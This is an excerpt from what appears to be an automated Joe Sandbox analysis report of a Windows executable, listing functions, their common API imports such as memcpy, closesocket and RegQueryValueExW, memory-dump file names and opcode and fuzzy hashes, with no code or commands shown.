Instruction Fuzzy Hash: 51119067B19A6184FB00D752D9087FC5B61AB86BDCF18943ADE0D77B88DE78E486C300

Function 00007FF652EB9C50 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

closesocket.WS2_32(?,?,-00000008,000001FF191A13A0,00000000,-00000006,?,?,?,00007FF652E34851), ref: 00007FF652EB9D09
WakeByAddressAll.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF652EB9D18

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: AddressWakeclosesocket
String ID:
API String ID: 947748948-0
Opcode ID: 3b7686c9af0f1410b6fca7c5dd1d00d4a32a176094ff922c3b08e90a18bdf319
Instruction ID: f3890cc536915514022ca463aa688b2c724e954fb90520c781fc3ae604e5b131
Opcode Fuzzy Hash: 3b7686c9af0f1410b6fca7c5dd1d00d4a32a176094ff922c3b08e90a18bdf319
Instruction Fuzzy Hash: 02F0E933B142324FFB16CB78AC506AD23E0A74079DB048039CF4EAB644DF789482CB40

Function 00007FF652EB9CC0 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

closesocket.WS2_32(?,?,-00000008,000001FF191A13A0,00000000,-00000006,?,?,?,00007FF652E34851), ref: 00007FF652EB9D09
WakeByAddressAll.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF652EB9D18

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: AddressWakeclosesocket
String ID:
API String ID: 947748948-0
Opcode ID: c60c5ea1a025c9606262a3a6a2d02e2ffb98c54366750624b8789273fd690552
Instruction ID: 7db4f8146095acc5b353b5a2956d54c387d621199fd81ae9ba8c2af6def6092c
Opcode Fuzzy Hash: c60c5ea1a025c9606262a3a6a2d02e2ffb98c54366750624b8789273fd690552
Instruction Fuzzy Hash: 5AF06933E2477189FB02CB74A8843AC2370BB1976CF588235DE4E66A94DF78A1858700

Function 00007FF652E33550 Relevance: 2.6, APIs: 2, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF652EB00C4: memcpy.MSVCRT ref: 00007FF652EB011F

memcpy.MSVCRT ref: 00007FF652E3366D
memset.MSVCRT ref: 00007FF652E33853

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy$memset
String ID:
API String ID: 438689982-0
Opcode ID: 589648af8bb89fd1d9f0778b138b6a01a750ae4199d35be784327c334dd3f2d1
Instruction ID: f3d461a4a6ea8c9f7327416b000ea075295f97a0120199fe151e056aaa80a1c9
Opcode Fuzzy Hash: 589648af8bb89fd1d9f0778b138b6a01a750ae4199d35be784327c334dd3f2d1
Instruction Fuzzy Hash: E051A722718AD181EA74CB05EC503BF6360FB94B89F884439DA8DA77A5DFBCE545CB40

Function 00007FF652E375D0 Relevance: 2.6, APIs: 2, Instructions: 129COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E3763D
memcpy.MSVCRT ref: 00007FF652E376B3

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: b27530e34ac4b0e5beecefe881ff4cbb7dce9a69906ecf3151b3595db0344d17
Instruction ID: fdbff0494a141309d83c4b8a29d8b37216dfb58df75e80071ddd70981594f08c
Opcode Fuzzy Hash: b27530e34ac4b0e5beecefe881ff4cbb7dce9a69906ecf3151b3595db0344d17
Instruction Fuzzy Hash: 7241A572B05B5682DE108F26E9402A97361FB247D9F588439CF8D67761DFBCF1618340

Function 00007FF652E7472D Relevance: 2.5, APIs: 2, Instructions: 44COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E7476F
memcpy.MSVCRT ref: 00007FF652E74792

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 48e94703fc136a9403f917a91209ad6c4e54a206f6974cd580fc9944f251afb5
Instruction ID: 4372c35f6cd67a791927e5598343e6d1c57d31c20eb3b1f4f8482a1bf7994d01
Opcode Fuzzy Hash: 48e94703fc136a9403f917a91209ad6c4e54a206f6974cd580fc9944f251afb5
Instruction Fuzzy Hash: 92019E72B0865281EF219F02F9417BE63A0AB557E8F4C8035DF8A57B86DEBCE1818700

Function 00007FF652E730A1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

ApplyControlToken.SECUR32 ref: 00007FF652E73250

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: ApplyControlToken
String ID:
API String ID: 61203409-0
Opcode ID: fa682f7fbf16673edf39972547e5729a1df5e03d4599772e96dc6892160ef0a9
Instruction ID: 58eb165d42ed82a198b8403d280d144f4c079b866bead490000e42b061d059e9
Opcode Fuzzy Hash: fa682f7fbf16673edf39972547e5729a1df5e03d4599772e96dc6892160ef0a9
Instruction Fuzzy Hash: A221D872A187D185E7A48B25E9003BE6391EB557C4F5C4039EB9EE7286CFBCD845C301

Function 00007FF652EA4C77 Relevance: 1.5, APIs: 1, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32 ref: 00007FF652EA4C9C

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: d33d82cb5fa8a06896f9de498ef92628177c8f9696b145115130a3daa610bd01
Instruction ID: 7f750859786e09c8f848c746e938710dd8f32a95882ba9a76ed05a1225eb87df
Opcode Fuzzy Hash: d33d82cb5fa8a06896f9de498ef92628177c8f9696b145115130a3daa610bd01
Instruction Fuzzy Hash: C0019E336083528BE7318F11F95537BB2A0F7443A9F548139DB8A8AA80EF7DD4858B04

Function 00007FF652E6E7E2 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d63fc908f92f569f73555e37d25f2be3ac4c4cf3aeeee458b2d9fd603e054a3
Instruction ID: ce3a6ca9e25ab1917f1321ec26e90e62ea883bff92076fd04c653f3b968ac230
Opcode Fuzzy Hash: 8d63fc908f92f569f73555e37d25f2be3ac4c4cf3aeeee458b2d9fd603e054a3
Instruction Fuzzy Hash: 24011221E0456283EA74E766FC917BE6321EF90744F489035D79FA76D2DEACF8468300

Function 00007FF652E746AF Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

DeleteSecurityContext.SECUR32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?,?), ref: 00007FF652E6EB58

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: ContextDeleteSecurity
String ID:
API String ID: 4039438073-0
Opcode ID: 15faf0ff10755f23501a4e221c84bdbdb8fd282ae0f3b3e1bf5ab042587ce283
Instruction ID: 741ac1f4adf3ac623c1e055312e90c89379ae286fceba576d9095b2cc34da89c
Opcode Fuzzy Hash: 15faf0ff10755f23501a4e221c84bdbdb8fd282ae0f3b3e1bf5ab042587ce283
Instruction Fuzzy Hash: 0E014421E0455183EA74E766F8913BE6320EF80744F489035DB9FA76D2CE6CF8468300

Function 00007FF652EE9CD6 Relevance: 1.5, APIs: 1, Instructions: 22networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 00007FF652EE9D11

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 61e21451854f550bc479977872af3fd74ffcd2a0368eb421c00357c315e4ac1c
Instruction ID: af9ad43e183fcaf5574ceae7557758f7745c986a5ee76ef13e09b73a5a9428a0
Opcode Fuzzy Hash: 61e21451854f550bc479977872af3fd74ffcd2a0368eb421c00357c315e4ac1c
Instruction Fuzzy Hash: 13E020A2B1816246FB209771984137F33909F99348F680935D95CD73D2DEBCD5518710

Function 00007FF652E6EB3D Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

DeleteSecurityContext.SECUR32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?,?), ref: 00007FF652E6EB58

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: ContextDeleteSecurity
String ID:
API String ID: 4039438073-0
Opcode ID: c87653820725f18dcb34d69f8961e377c8b02e79ce91250c10b86ff77a2ab7c2
Instruction ID: 870046f246ee205b44e876da66326b54a4a2b366ef8c38d9c61dc3048595a036
Opcode Fuzzy Hash: c87653820725f18dcb34d69f8961e377c8b02e79ce91250c10b86ff77a2ab7c2
Instruction Fuzzy Hash: 85E0ED11A544A282FA64E77AEC927FE6310EF90744F4C8135D79EA36E2DE6CF446C300

Function 00007FF652EE3301 Relevance: 1.5, APIs: 1, Instructions: 14timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNEL32 ref: 00007FF652EE3323

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: c5d9fdd16b4c47300d374fb8cac1a7f12e05a8036ab65b5800a9605212f02a77
Instruction ID: 87db2e80f8cd5e5b77f7d55dac9d2028afca06392c576d26c62966e562979cf7
Opcode Fuzzy Hash: c5d9fdd16b4c47300d374fb8cac1a7f12e05a8036ab65b5800a9605212f02a77
Instruction Fuzzy Hash: 4ED01772A24BD482E7119B15B0413EAA324A7407C4F418112EBC91B788CF3CCAA6C704

Function 00007FF652E33898 Relevance: 1.3, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF652E33853

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: cfd8b4d2dccaf48d70bf23d40daa888add7278f268b505d6c1c3ae0f8428bfa4
Instruction ID: 37cf2d44f0d6d068aa54b48ffe807ec514ff0f4279efb27d001f9eb4109af1ae
Opcode Fuzzy Hash: cfd8b4d2dccaf48d70bf23d40daa888add7278f268b505d6c1c3ae0f8428bfa4
Instruction Fuzzy Hash: B231C251B1DAE180EA749B16AC003BBA790BB54BD9F08053ADE9DA7BD9DF7CF4008740

Function 00007FF652EE3FAC Relevance: 1.3, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF652EE4065

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 5bf649e94f9f73c620b5060cbfba9e778877c69fbf07243dc28e546b191b1221
Instruction ID: 9ee76b08be22cd20a55ea83fb601a16a31e48624d994460ffc6ffba79f82626b
Opcode Fuzzy Hash: 5bf649e94f9f73c620b5060cbfba9e778877c69fbf07243dc28e546b191b1221
Instruction Fuzzy Hash: 41215761B1A22A42ED049A12BC153765680AB917F8F580B3CDE7EA73D0EEBC9541C300

Function 00007FF652E338DE Relevance: 1.3, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF652E33853
memcpy.MSVCRT ref: 00007FF652E33C23
memcpy.MSVCRT ref: 00007FF652E33CBA
GetLastError.KERNEL32 ref: 00007FF652E344C8
GetLastError.KERNEL32 ref: 00007FF652E34532
GetLastError.KERNEL32 ref: 00007FF652E3459C
GetLastError.KERNEL32 ref: 00007FF652E34606
GetLastError.KERNEL32 ref: 00007FF652E34670
GetLastError.KERNEL32 ref: 00007FF652E346DA

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: ErrorLast$memcpy$memset
String ID:
API String ID: 1408984137-0
Opcode ID: 6fd0bc6d1a7301d185e0314b8b3592ea14a607344503e93b206be1c85a40a8f8
Instruction ID: 6e8eb79b665962c6abc7dd46b9f565829d915c756f76b4e8d29203b7035a2acf
Opcode Fuzzy Hash: 6fd0bc6d1a7301d185e0314b8b3592ea14a607344503e93b206be1c85a40a8f8
Instruction Fuzzy Hash: 3521E351B1DAE180EA348B16A9003BBA790FB547D9F080539CE5D97BD9DFBCF4008740

Function 00007FF652EE3387 Relevance: 1.3, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF652EE33E4

Part of subcall function 00007FF652EE0867: memcpy.MSVCRT ref: 00007FF652EE0A21

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpywcslen
String ID:
API String ID: 982415701-0
Opcode ID: b7b9f5076b39ac9410c2be60041e623a5a99cc0104208619405c99a66a24b44f
Instruction ID: 81a422191d807ce28154e3a21eb535e51037695051fdd6cf69581c3b0f8d0902
Opcode Fuzzy Hash: b7b9f5076b39ac9410c2be60041e623a5a99cc0104208619405c99a66a24b44f
Instruction Fuzzy Hash: 8011E253A18A5692E6259B22F80037BA760BB54BCCF088139EE9D2A785DFBCD485C300

Function 00007FF652EE0A5A Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652EE0A90

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: adb3ebc02705920c822447e3a137f81e04d5aadd25c026adf96691baa4d582fe
Instruction ID: 5d7a9e3c94a01560e1c79cdb456e4dd837612f7f1cac010cfe2ee806ce8f0fa5
Opcode Fuzzy Hash: adb3ebc02705920c822447e3a137f81e04d5aadd25c026adf96691baa4d582fe
Instruction Fuzzy Hash: BDE0266270467042F709DAA3BD406AA5951AF48FE8E18C034EE0C5BFD6EE7DC5D38300

Function 00007FF652EB6964 Relevance: 1.3, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652EB698F

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 9630bf720f0065d02a8e7e09b3eb022bdfa89a9296372ead43efb1b59a8c0f43
Instruction ID: fab9a7da835f94861ee43bba38700392efe954eb5deee4f40feba52aeb5b20fb
Opcode Fuzzy Hash: 9630bf720f0065d02a8e7e09b3eb022bdfa89a9296372ead43efb1b59a8c0f43
Instruction Fuzzy Hash: 66E0C292B046A042EA059B237D404998A15BF69FD8A488431DF0CABB4AED38C4938300

Function 00007FF652E64883 Relevance: 1.3, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FF652E65B07,?,?,?,?,?,00000000,?,?,?,?,00007FF652E66236), ref: 00007FF652E6489E

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

